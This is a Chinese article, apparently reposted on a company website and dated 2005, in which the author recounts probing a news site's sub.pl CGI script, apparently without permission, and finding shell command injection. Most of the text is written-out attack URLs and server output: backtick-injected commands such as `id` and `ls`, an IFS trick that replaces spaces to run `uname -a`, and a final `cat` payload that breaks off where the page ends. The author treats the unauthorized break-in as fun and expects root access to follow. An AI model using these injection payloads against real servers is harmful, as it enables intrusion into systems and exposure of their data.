首页 > 资讯 > 网站设计
一个CGI漏洞的发现和利用
发布时间:2005-03-28   浏览次数:1154379
出处:未知 作者:未知前几天在国内的某个169节点读新闻,这个站点顶部的一排分类新闻的链接引起了我的注意,这些链接都指向一个叫sub.pl的CGI,只是它们后面跟的参数不同:国内新闻的是sub.pl?cn,国际新闻的是sub.pl?in,财经的是sub.pl?fi诸如此类…跟一般的CGI程序不同,sub.pl后跟的不是通常的key,value对,哈,让我给sub.pl吃点洋荤,随便自己指定个参数给它:http://victim.net/cgi-bin/home/news/sub.pl?12不出所料,CGI运行出错了:/home1/siteadm/cgi-bin/home/news/log/12/*.*:无此文件或目录这个CGI真是太老实了,它至少告诉了我们两件事情: 一CGI目录的路径. 二我们输入参数的作用,sub.pl的参数是在脚本中作为目录名.这些发现一下子把我兴趣提了起来,再试试不同的参数说不定有更大的发现,经过N次的试验,得到的出错信息大同小异,值到第N+1次请求:http://victim.net/cgi-bin/home/news/sub.pl?&服务器的返回信息有些不一样了:sh:/WS_FTP95.exe:不能执行注意到了前面的"sh:"了吗?哈!,熟悉UNIX的朋友应该知道,这可是只有在shell试图运行某个程序出错时才会出现的错误信息.看起来shell在试图运行什么程序,而重要的是我们能够影响它!怎样去进一步的影响它呢?反引号"`",是值得一试的:http://victim.net/cgi-bin/home/news/sub.pl?`ls`服务器返回了奇怪的信息:/home1/siteadm/cgi-bin/home/news/log/315:无此文件或目录"315"是什么东西?再试:http://victim.net/cgi-bin/home/news/sub.pl?`id`这次返回的信息令我大吃一惊:/home1/siteadm/cgi-bin/home/news/log/uid=999(siteadm):无此文件或目录gid=999(netsite)/*.*:无此文件或目?很显然,服务器运行了id,我们能利用sub.pl运行shell命令了!刚才的ls命令也肯定运行了,"315"一定是当前CGI目录下的子目录.让我们来列一下服务器根目录吧:http://victim.net/cgi-bin/home/news/sub.pl?`ls%/`没成功:sh:ls%/:没找到看来,sub.pl没有把"%"解码成空格的习惯:(如何绕过这个限制呢?相信你现在也已经想到了,还得靠我们的IFS变量,用它来指定shell分界符.试一下:http://victim.net/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`服务器的回应:/home1/siteadm/cgi-bin/home/news/log/SunOS:无此文件或目录victim.net:无此文件或目录5.5.1:无此文件或目录Generic_103640-27:无此文件或目录sun4u:无此文件或目录sparc:无此文件或目录SUNW,Ultra-2/*.*:无此文件或目录成功了!现在我们差不多有了shell访问权限,对SunOS这样的系统,拿到root只是时间问题了.没有必要再继续下去,我不想搞破坏,对sub.pl瞎子摸象式的攻击已经给了我足够的乐趣.:)当然我还有兴趣看看问题到底出在哪,把sub.pl弄下来看看:当然这还得靠sub.pl:) http://victim.net/cgi-bin/home/news/sub.pl?`cat
业务咨询

Copyright 2003 - 2023 huinet.cn All Rights Reserved.
慧网公司 版权所有